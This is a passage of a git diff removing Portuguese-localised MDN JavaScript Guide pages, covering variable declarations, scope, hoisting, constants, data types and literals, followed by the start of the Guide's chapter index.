- <li>By simply assigning it a value. For example, <code>x = 42</code>. This always declares a global variable. It generates a strict JavaScript warning. You shouldn't use this variant.</li>
- <li>With the keyword {{jsxref("Statements/let", "let")}}. For example, <code>let y = 13</code>. This syntax can be used to declare a block scope local variable. See <a href="#Variable_scope">Variable scope</a> below.</li>
-</ul>
-
-<h3 id="Avaliação_de_variáveis">Avaliação de variáveis</h3>
-
-<p>A variable declared using the <code>var</code> statement with no initial value specified has the value {{jsxref("undefined")}}.</p>
-
-<p>An attempt to access an undeclared variable or an attempt to access an identifier declared with let statement before initialization will result in a {{jsxref("ReferenceError")}} exception being thrown:</p>
-
-<pre class="brush: js">var a;
-console.log("The value of a is " + a); // logs "The value of a is undefined"
-console.log("The value of b is " + b); // throws ReferenceError exception
-
-console.log("The value of x is " + x); // throws ReferenceError exception
-let x; </pre>
-
-<p>You can use <code>undefined</code> to determine whether a variable has a value. In the following code, the variable <code>input</code> is not assigned a value, and the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else" title="en-US/docs/JavaScript/Reference/Statements/if...else">if</a></code> statement evaluates to <code>true</code>.</p>
-
-<pre class="brush: js">var input;
-if(input === undefined){
- doThis();
-} else {
- doThat();
-}
-</pre>
-
-<p>The <code>undefined</code> value behaves as <code>false</code> when used in a boolean context. For example, the following code executes the function <code>myFunction</code> because the <code>myArray</code> element is undefined:</p>
-
-<pre class="brush: js">var myArray = [];
-if (!myArray[0]) myFunction();
-</pre>
-
-<p>The <code>undefined</code> value converts to <code>NaN</code> when used in numeric context.</p>
-
-<pre class="brush: js">var a;
-a + 2; // Evaluates to NaN</pre>
-
-<p>When you evaluate a {{jsxref("null")}} variable, the null value behaves as 0 in numeric contexts and as false in boolean contexts. For example:</p>
-
-<pre class="brush: js">var n = null;
-console.log(n * 32); // Will log 0 to the console
-</pre>
-
-<h3 id="Variable_scope">Variable scope</h3>
-
-<p>When you declare a variable outside of any function, it is called a <em>global</em> variable, because it is available to any other code in the current document. When you declare a variable within a function, it is called a <em>local</em> variable, because it is available only within that function.</p>
-
-<p>JavaScript before ECMAScript 2015 does not have <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement" title="en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_statement">block statement</a> scope; rather, a variable declared within a block is local to the <em>function (or global scope)</em> that the block resides within. For example the following code will log <code>5</code>, because the scope of <code>x</code> is the function (or global context) within which <code>x</code> is declared, not the block, which in this case is an <code>if</code> statement.</p>
-
-<pre class="brush: js">if (true) {
- var x = 5;
-}
-console.log(x); // 5
-</pre>
-
-<p>This behavior changes, when using the <code>let</code> declaration introduced in ECMAScript 2015.</p>
-
-<pre class="brush: js">if (true) {
- let y = 5;
-}
-console.log(y); // ReferenceError: y is not defined
-</pre>
-
-<h3 id="Variable_hoisting">Variable hoisting</h3>
-
-<p>Another unusual thing about variables in JavaScript is that you can refer to a variable declared later, without getting an exception. This concept is known as <strong>hoisting</strong>; variables in JavaScript are in a sense "hoisted" or lifted to the top of the function or statement. However, variables that are hoisted will return a value of <code>undefined</code>. So even if you declare and initialize after you use or refer to this variable, it will still return undefined.</p>
-
-<pre class="brush: js">/**
- * Example 1
- */
-console.log(x === undefined); // true
-var x = 3;
-
-/**
- * Example 2
- */
-// will return a value of undefined
-var myvar = "my value";
-
-(function() {
- console.log(myvar); // undefined
- var myvar = "local value";
-})();
-</pre>
-
-<p>The above examples will be interpreted the same as:</p>
-
-<pre class="brush: js">/**
- * Example 1
- */
-var x;
-console.log(x === undefined); // true
-x = 3;
-
-/**
- * Example 2
- */
-var myvar = "my value";
-
-(function() {
- var myvar;
- console.log(myvar); // undefined
- myvar = "local value";
-})();
-</pre>
-
-<p>Because of hoisting, all <code>var</code> statements in a function should be placed as near to the top of the function as possible. This best practice increases the clarity of the code.</p>
-
-<p>In ECMAScript 2015, <code>let (const)</code> <strong>will not hoist</strong> the variable to the top of the block. However, referencing the variable in the block before the variable declaration results in a <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a>.</code> The variable is in a "temporal dead zone" from the start of the block until the declaration is processed.</p>
-
-<pre class="brush: js">console.log(x); // <code>ReferenceError</code>
-let x = 3;</pre>
-
-<h3 id="Variáveis_gGlobais">Variáveis gGlobais</h3>
-
-<p>Global variables are in fact properties of the <em>global object</em>. In web pages the global object is {{domxref("window")}}, so you can set and access global variables using the <code>window.<em>variable</em></code> syntax.</p>
-
-<p>Consequently, you can access global variables declared in one window or frame from another window or frame by specifying the window or frame name. For example, if a variable called <code>phoneNumber</code> is declared in a document, you can refer to this variable from an iframe as <code>parent.phoneNumber</code>.</p>
-
-<h3 id="Constantes">Constantes</h3>
-
-<p>You can create a read-only, named constant with the {{jsxref("Statements/const", "const")}} keyword. The syntax of a constant identifier is the same as for a variable identifier: it must start with a letter, underscore or dollar sign and can contain alphabetic, numeric, or underscore characters.</p>
-
-<pre class="brush: js">const PI = 3.14;
-</pre>
-
-<p>A constant cannot change value through assignment or be re-declared while the script is running. It has to be initialized to a value.</p>
-
-<p>The scope rules for constants are the same as those for <code>let</code> block scope variables. If the <code>const</code> keyword is omitted, the identifier is assumed to represent a variable.</p>
-
-<p>You cannot declare a constant with the same name as a function or variable in the same scope. For example:</p>
-
-<pre class="brush: js">// THIS WILL CAUSE AN ERROR
-function f() {};
-const f = 5;
-
-// THIS WILL CAUSE AN ERROR ALSO
-function f() {
- const g = 5;
- var g;
-
- //statements
-}
-</pre>
-
-<p>However, object attributes are not protected, so the following statement is executed without problems.</p>
-
-<pre class="brush: js"><code>const MY_OBJECT = {"key": "value"};
-MY_OBJECT.key = "otherValue";</code></pre>
-
-<h2 id="Estruturas_e_tipode_dados">Estruturas e tipode dados</h2>
-
-<h3 id="tipos_de_dados">tipos de dados</h3>
-
-<p>The latest ECMAScript standard defines seven data types:</p>
-
-<ul>
- <li>Six data types that are {{Glossary("Primitive", "primitives")}}:
- <ul>
- <li>{{Glossary("Boolean")}}. <code>true</code> and <code>false</code>.</li>
- <li>{{Glossary("null")}}. A special keyword denoting a null value. Because JavaScript is case-sensitive, <code>null</code> is not the same as <code>Null</code>, <code>NULL</code>, or any other variant.</li>
- <li>{{Glossary("undefined")}}. A top-level property whose value is undefined.</li>
- <li>{{Glossary("Number")}}. <code>42</code> or <code>3.14159</code>.</li>
- <li>{{Glossary("String")}}. "Howdy"</li>
- <li>{{Glossary("Symbol")}} (new in ECMAScript 2015). A data type whose instances are unique and immutable.</li>
- </ul>
- </li>
- <li>and {{Glossary("Object")}}</li>
-</ul>
-
-<p>Although these data types are a relatively small amount, they enable you to perform useful functions with your applications. {{jsxref("Object", "Objects")}} and {{jsxref("Function", "functions")}} are the other fundamental elements in the language. You can think of objects as named containers for values, and functions as procedures that your application can perform.</p>
-
-<h3 id="Conversão_de_tipo_de_dados">Conversão de tipo de dados</h3>
-
-<p>JavaScript is a dynamically typed language. That means you don't have to specify the data type of a variable when you declare it, and data types are converted automatically as needed during script execution. So, for example, you could define a variable as follows:</p>
-
-<pre class="brush: js">var answer = 42;
-</pre>
-
-<p>And later, you could assign the same variable a string value, for example:</p>
-
-<pre class="brush: js">answer = "Thanks for all the fish...";
-</pre>
-
-<p>Because JavaScript is dynamically typed, this assignment does not cause an error message.</p>
-
-<p>In expressions involving numeric and string values with the + operator, JavaScript converts numeric values to strings. For example, consider the following statements:</p>
-
-<pre class="brush: js">x = "The answer is " + 42 // "The answer is 42"
-y = 42 + " is the answer" // "42 is the answer"
-</pre>
-
-<p>In statements involving other operators, JavaScript does not convert numeric values to strings. For example:</p>
-
-<pre class="brush: js">"37" - 7 // 30
-"37" + 7 // "377"
-</pre>
-
-<h3 id="Conversão_de_strings_para_números">Conversão de strings para números</h3>
-
-<p>In the case that a value representing a number is in memory as a string, there are methods for conversion.</p>
-
-<ul>
- <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li>
- <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
-</ul>
-
-<p><code>parseInt</code> will only return whole numbers, so its use is diminished for decimals. Additionally, a best practice for <code>parseInt</code> is to always include the radix parameter. The radix parameter is used to specify which numerical system is to be used.</p>
-
-<p>An alternative method of retrieving a number from a string is with the <code>+</code> (unary plus) operator:</p>
-
-<pre class="brush: js">"1.1" + "1.1" = "1.11.1"
-(+"1.1") + (+"1.1") = 2.2
-// Note: the parentheses are added for clarity, not required.</pre>
-
-<h2 id="Literais">Literais</h2>
-
-<p>You use literals to represent values in JavaScript. These are fixed values, not variables, that you <em>literally</em> provide in your script. This section describes the following types of literals:</p>
-
-<ul>
- <li>{{anch("Array literals")}}</li>
- <li>{{anch("Boolean literals")}}</li>
- <li>{{anch("Floating-point literals")}}</li>
- <li>{{anch("Integers")}}</li>
- <li>{{anch("Object literals")}}</li>
- <li>{{anch("RegExp literals")}}</li>
- <li>{{anch("String literals")}}</li>
-</ul>
-
-<h3 id="Literais_de_tabela">Literais de tabela</h3>
-
-<p>An array literal is a list of zero or more expressions, each of which represents an array element, enclosed in square brackets (<code>[]</code>). When you create an array using an array literal, it is initialized with the specified values as its elements, and its length is set to the number of arguments specified.</p>
-
-<p>The following example creates the <code>coffees</code> array with three elements and a length of three:</p>
-
-<pre class="brush: js">var coffees = ["French Roast", "Colombian", "Kona"];
-</pre>
-
-<div class="note">
-<p><strong>Note :</strong> An array literal is a type of object initializer. See <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Using_object_initializers" title="en-US/docs/JavaScript/Guide/Working with Objects#Using Object Initializers">Using Object Initializers</a>.</p>
-</div>
-
-<p>If an array is created using a literal in a top-level script, JavaScript interprets the array each time it evaluates the expression containing the array literal. In addition, a literal used in a function is created each time the function is called.</p>
-
-<p>Array literals are also <code>Array</code> objects. See {{jsxref("Array")}} and <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> for details on <code>Array</code> objects.</p>
-
-<h4 id="Extra_commas_in_array_literals">Extra commas in array literals</h4>
-
-<p>You do not have to specify all elements in an array literal. If you put two commas in a row, the array is created with <code>undefined</code> for the unspecified elements. The following example creates the <code>fish</code> array:</p>
-
-<pre class="brush: js">var fish = ["Lion", , "Angel"];
-</pre>
-
-<p>This array has two elements with values and one empty element (<code>fish[0]</code> is "Lion", <code>fish[1]</code> is <code>undefined</code>, and <code>fish[2]</code> is "Angel").</p>
-
-<p>If you include a trailing comma at the end of the list of elements, the comma is ignored. In the following example, the length of the array is three. There is no <code>myList[3]</code>. All other commas in the list indicate a new element.</p>
-
-<div class="note">
-<p><strong>Nota :</strong> Trailing commas can create errors in older browser versions and it is a best practice to remove them.</p>
-</div>
-
-<pre class="brush: js">var myList = ['home', , 'school', ];
-</pre>
-
-<p>In the following example, the length of the array is four, and <code>myList[0]</code> and <code>myList[2]</code> are missing.</p>
-
-<pre class="brush: js">var myList = [ , 'home', , 'school'];
-</pre>
-
-<p>In the following example, the length of the array is four, and <code>myList[1]</code> and <code>myList[3]</code> are missing. Only the last comma is ignored.</p>
-
-<pre class="brush: js">var myList = ['home', , 'school', , ];
-</pre>
-
-<p>Understanding the behavior of extra commas is important to understanding JavaScript as a language, however when writing your own code: explicitly declaring the missing elements as <code>undefined</code> will increase your code's clarity and maintainability.</p>
-
-<h3 id="Lietrais_boolianas">Lietrais boolianas</h3>
-
-<p>The Boolean type has two literal values: <code>true</code> and <code>false</code>.</p>
-
-<p>Do not confuse the primitive Boolean values <code>true</code> and <code>false</code> with the true and false values of the Boolean object. The Boolean object is a wrapper around the primitive Boolean data type. See {{jsxref("Boolean")}} for more information.</p>
-
-<h3 id="Íntegros">Íntegros</h3>
-
-<p>Integers can be expressed in decimal (base 10), hexadecimal (base 16), octal (base 8) and binary (base 2).</p>
-
-<ul>
- <li>Decimal integer literal consists of a sequence of digits without a leading 0 (zero).</li>
- <li>Leading 0 (zero) on an integer literal, or leading 0o (or 0O) indicates it is in octal. Octal integers can include only the digits 0-7.</li>
- <li>Leading 0x (or 0X) indicates hexadecimal. Hexadecimal integers can include digits (0-9) and the letters a-f and A-F.</li>
- <li>
- <p>Leading 0b (or 0B) indicates binary. Binary integers can include digits only 0 and 1.</p>
- </li>
-</ul>
-
-<p>Some examples of integer literals are:</p>
-
-<pre class="eval">0, 117 and -345 (decimal, base 10)
-015, 0001 and -0o77 (octal, base 8)
-0x1123, 0x00111 and -0xF1A7 (hexadecimal, "hex" or base 16)
-0b11, 0b0011 and -0b11 (binary, base 2)
-</pre>
-
-<p>For more information, see <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Numeric literals in the Lexical grammar reference</a>.</p>
-
-<h3 id="Literais_de_ponto_flutuante">Literais de ponto flutuante</h3>
-
-<p>A floating-point literal can have the following parts:</p>
-
-<ul>
- <li>A decimal integer which can be signed (preceded by "+" or "-"),</li>
- <li>A decimal point ("."),</li>
- <li>A fraction (another decimal number),</li>
- <li>An exponent.</li>
-</ul>
-
-<p>The exponent part is an "e" or "E" followed by an integer, which can be signed (preceded by "+" or "-"). A floating-point literal must have at least one digit and either a decimal point or "e" (or "E").</p>
-
-<p>More succinctly, the syntax is:</p>
-
-<pre class="eval">[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
-</pre>
-
-<p>For example:</p>
-
-<pre class="eval">3.1415926
--.123456789
--3.1E+12
-.1e-23
-</pre>
-
-<h3 id="Literais_de_objeto">Literais de objeto</h3>
-
-<p>An object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in curly braces (<code>{}</code>). You should not use an object literal at the beginning of a statement. This will lead to an error or not behave as you expect, because the { will be interpreted as the beginning of a block.</p>
-
-<p>The following is an example of an object literal. The first element of the <code>car</code> object defines a property, <code>myCar</code>, and assigns to it a new string, "<code>Saturn</code>"; the second element, the <code>getCar</code> property, is immediately assigned the result of invoking the function <code>(carTypes("Honda"));</code> the third element, the <code>special</code> property, uses an existing variable (<code>sales</code>).</p>
-
-<pre class="brush: js">var sales = "Toyota";
-
-function carTypes(name) {
- if (name === "Honda") {
- return name;
- } else {
- return "Sorry, we don't sell " + name + ".";
- }
-}
-
-var car = { myCar: "Saturn", getCar: carTypes("Honda"), special: sales };
-
-console.log(car.myCar); // Saturn
-console.log(car.getCar); // Honda
-console.log(car.special); // Toyota
-</pre>
-
-<p>Additionally, you can use a numeric or string literal for the name of a property or nest an object inside another. The following example uses these options.</p>
-
-<pre class="brush: js">var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
-
-console.log(car.manyCars.b); // Jeep
-console.log(car[7]); // Mazda
-</pre>
-
-<p>Object property names can be any string, including the empty string. If the property name would not be a valid JavaScript {{Glossary("Identifier","identifier")}} or number, it must be enclosed in quotes. Property names that are not valid identifiers also cannot be accessed as a dot (<code>.</code>) property, but can be accessed and set with the array-like notation("<code>[]</code>").</p>
-
-<pre class="brush: js">var unusualPropertyNames = {
- "": "An empty string",
- "!": "Bang!"
-}
-console.log(unusualPropertyNames.""); // SyntaxError: Unexpected string
-console.log(unusualPropertyNames[""]); // An empty string
-console.log(unusualPropertyNames.!); // SyntaxError: Unexpected token !
-console.log(unusualPropertyNames["!"]); // Bang!</pre>
-
-<p>In ES2015, object literals are extended to support setting the prototype at construction, shorthand for <code>foo: foo</code> assignments, defining methods, making super calls, and computing property names with expressions. Together, these also bring object literals and class declarations closer together, and let object-based design benefit from some of the same conveniences.</p>
-
-<pre class="brush: js">var obj = {
- // __proto__
- __proto__: theProtoObj,
- // Shorthand for ‘handler: handler’
- handler,
- // Methods
- toString() {
- // Super calls
- return "d " + super.toString();
- },
- // Computed (dynamic) property names
- [ 'prop_' + (() =&gt; 42)() ]: 42
-};</pre>
-
-<p>Por favor, note:</p>
-
-<pre class="brush: js">var foo = {a: "alpha", 2: "two"};
-console.log(foo.a); // alpha
-console.log(foo[2]); // two
-//console.log(foo.2); // Error: missing ) after argument list
-//console.log(foo[a]); // Error: a is not defined
-console.log(foo["a"]); // alpha
-console.log(foo["2"]); // two
-</pre>
-
-<h3 id="RegExp_literals">RegExp literals</h3>
-
-<p>A regex literal is a pattern enclosed between slashes. The following is an example of an regex literal.</p>
-
-<pre class="brush: js">var re = /ab+c/;</pre>
-
-<h3 id="Lietrais_de_string">Lietrais de string</h3>
-
-<p>A string literal is zero or more characters enclosed in double (<code>"</code>) or single (<code>'</code>) quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or both double quotation marks. The following are examples of string literals:</p>
-
-<pre class="brush: js">"foo"
-'bar'
-"1234"
-"one line \n another line"
-"John's cat"
-</pre>
-
-<p>You can call any of the methods of the String object on a string literal value—JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the <code>String.length</code> property with a string literal:</p>
-
-<pre class="brush: js">console.log("John's cat".length)
-// Will print the number of symbols in the string including whitespace.
-// In this case, 10.
-</pre>
-
-<p>In ES2015, template literals are also available. Template strings provide syntactic sugar for constructing strings. This is similar to string interpolation features in Perl, Python and more. Optionally, a tag can be added to allow the string construction to be customized, avoiding injection attacks or constructing higher level data structures from string contents.</p>
-
-<pre class="brush: js">// Basic literal string creation
-`In JavaScript '\n' is a line-feed.`
-
-// Multiline strings
-`In JavaScript this is
- not legal.`
-
-// String interpolation
-var name = "Bob", time = "today";
-`Hello ${name}, how are you ${time}?`
-
-// Construct an HTTP request prefix is used to interpret the replacements and construction
-POST`http://foo.org/bar?a=${a}&amp;b=${b}
- Content-Type: application/json
- X-Credentials: ${credentials}
- { "foo": ${foo},
- "bar": ${bar}}`(myOnReadyStateChangeHandler);</pre>
-
-<p>You should use string literals unless you specifically need to use a String object. See {{jsxref("String")}} for details on <code>String</code> objects.</p>
-
-<h4 id="Using_special_characters_in_strings">Using special characters in strings</h4>
-
-<p>In addition to ordinary characters, you can also include special characters in strings, as shown in the following example.</p>
-
-<pre class="brush: js">"one line \n another line"
-</pre>
-
-<p>The following table lists the special characters that you can use in JavaScript strings.</p>
-
-<table class="standard-table">
- <caption>Table: JavaScript special characters</caption>
- <thead>
- <tr>
- <th scope="col">Cárater</th>
- <th scope="col">Significado</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>\0</code></td>
- <td>Null Byte</td>
- </tr>
- <tr>
- <td><code>\b</code></td>
- <td>Backspace</td>
- </tr>
- <tr>
- <td><code>\f</code></td>
- <td>Form feed</td>
- </tr>
- <tr>
- <td><code>\n</code></td>
- <td>New line</td>
- </tr>
- <tr>
- <td><code>\r</code></td>
- <td>Carriage return</td>
- </tr>
- <tr>
- <td><code>\t</code></td>
- <td>Tab</td>
- </tr>
- <tr>
- <td><code>\v</code></td>
- <td>Vertical tab</td>
- </tr>
- <tr>
- <td><code>\'</code></td>
- <td>Apostrophe or single quote</td>
- </tr>
- <tr>
- <td><code>\"</code></td>
- <td>Double quote</td>
- </tr>
- <tr>
- <td><code>\\</code></td>
- <td>Backslash character</td>
- </tr>
- <tr>
- <td><code>\<em>XXX</em></code></td>
- <td>The character with the Latin-1 encoding specified by up to three octal digits <em>XXX</em> between 0 and 377. For example, \251 is the octal sequence for the copyright symbol.</td>
- </tr>
- <tr>
- </tr>
- <tr>
- <td><code>\x<em>XX</em></code></td>
- <td>The character with the Latin-1 encoding specified by the two hexadecimal digits <em>XX</em> between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol.</td>
- </tr>
- <tr>
- </tr>
- <tr>
- <td><code>\u<em>XXXX</em></code></td>
- <td>The Unicode character specified by the four hexadecimal digits <em>XXXX</em>. For example, \u00A9 is the Unicode sequence for the copyright symbol. See <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>.</td>
- </tr>
- <tr>
- <td><code>\u<em>{XXXXX}</em></code></td>
- <td>Unicode code point escapes. For example, \u{2F804} is the same as the simple Unicode escapes \uD87E\uDC04.</td>
- </tr>
- </tbody>
-</table>
-
-<h4 id="Escaping_characters">Escaping characters</h4>
-
-<p>For characters not listed in the table, a preceding backslash is ignored, but this usage is deprecated and should be avoided.</p>
-
-<p>You can insert a quotation mark inside a string by preceding it with a backslash. This is known as <em>escaping</em> the quotation mark. For example:</p>
-
-<pre class="brush: js">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
-console.log(quote);
-</pre>
-
-<p>The result of this would be:</p>
-
-<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service.
-</pre>
-
-<p>To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path <code>c:\temp</code> to a string, use the following:</p>
-
-<pre class="brush: js">var home = "c:\\temp";
-</pre>
-
-<p>You can also escape line breaks by preceding them with backslash. The backslash and line break are both removed from the value of the string.</p>
-
-<pre class="brush: js">var str = "this string \
-is broken \
-across multiple\
-lines."
-console.log(str); // this string is broken across multiplelines.
-</pre>
-
-<p>Although JavaScript does not have "heredoc" syntax, you can get close by adding a line break escape and an escaped line break at the end of each line:</p>
-
-<pre class="brush: js">var poem =
-"Roses are red,\n\
-Violets are blue.\n\
-Sugar is sweet,\n\
-and so is foo."
-</pre>
-
-<h2 id="Mais_informação">Mais informação</h2>
-
-<p>This chapter focuses on basic syntax for declarations and types. To learn more about JavaScript's language constructs, see also the following chapters in this guide:</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Control flow and error handling</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a></li>
-</ul>
-
-<p>In the next chapter, we will have a look at control flow constructs and error handling.</p>
-
-<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/pt-pt/web/javascript/guide/index.html b/files/pt-pt/web/javascript/guide/index.html
deleted file mode 100644
index 50779449a1..0000000000
--- a/files/pt-pt/web/javascript/guide/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: Guia de JavaScript
-slug: Web/JavaScript/Guide
-tags:
- - Guía
- - JavaScript
- - l10n:prioridade
-translation_of: Web/JavaScript/Guide
-original_slug: Web/JavaScript/Guia
----
-<div>{{jsSidebar("JavaScript Guide")}}</div>
-
-<p class="summary">The JavaScript Guide shows you how to use <a href="/en-US/docs/Web/JavaScript">JavaScript</a> and gives an overview of the language. If you want to get started with JavaScript or programming in general, consult the articles in the <a href="/en-US/Learn">learning area</a>. If you need exhaustive information about a language feature, have a look at the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a>.</p>
-
-<h2 id="Capítulos">Capítulos</h2>
-
-<p>This Guide is divided into several chapters:</p>
-
-<ul class="card-grid">
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Introduction">Introdução</a></span>
-
- <p><a href="/pt-PT/docs/Web/JavaScript/Guia/Introdução">About this guide</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript">About JavaScript</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript and Java</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">Tools</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p>
- </li>
- <li><span><a href="/pt-PT/docs/Web/JavaScript/Guia/Gramática_e_tipos">Gramática e tipos</a></span>
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">Basic syntax &amp; comments</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Declarations</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">Variable scope</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">Variable hoisting</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">Data structures and types</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Literals">Literals</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Controlo de fluxo e manipulação de erros</a></span>
- <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br>
- <code><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Error objects</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Promises">Promises</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops e iteração</a></span>
- <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Funções</a></span>
-
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Defining_functions">Defining functions</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Calling_functions">Calling functions</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_scope">Function scope</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Closures">Closures</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">Arguments</a> &amp; <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Function_parameters">parameters</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Functions#Arrow_functions">Arrow functions</a></p>
- </li>
- <li><span><a href="/pt-PT/docs/Web/JavaScript/Guia/Guia_expressões_e_operadores">Expressões e operadores</a></span>
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">Assignment</a> &amp; <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">Comparisons</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">Arithmetic operators</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">Bitwise</a> &amp; <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">logical operators</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Conditional (ternary) operator</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates">Números e datas</a></span><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> Number literals</a>
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object"><code>Number</code> object</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object"><code>Math</code> object</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object"><code>Date</code> object</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting">Formatação de texto</a></span>
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_literals">String literals</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#String_objects"><code>String</code> object</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">Template literals</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">Internationalization</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a></p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Coleções indexadas</a></span>
-
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Arrays</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">Typed arrays</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections">Coleções Keyed</a></span>
- <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br>
- <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
- <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br>
- <code><a href="/en-US/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p>
- </li>
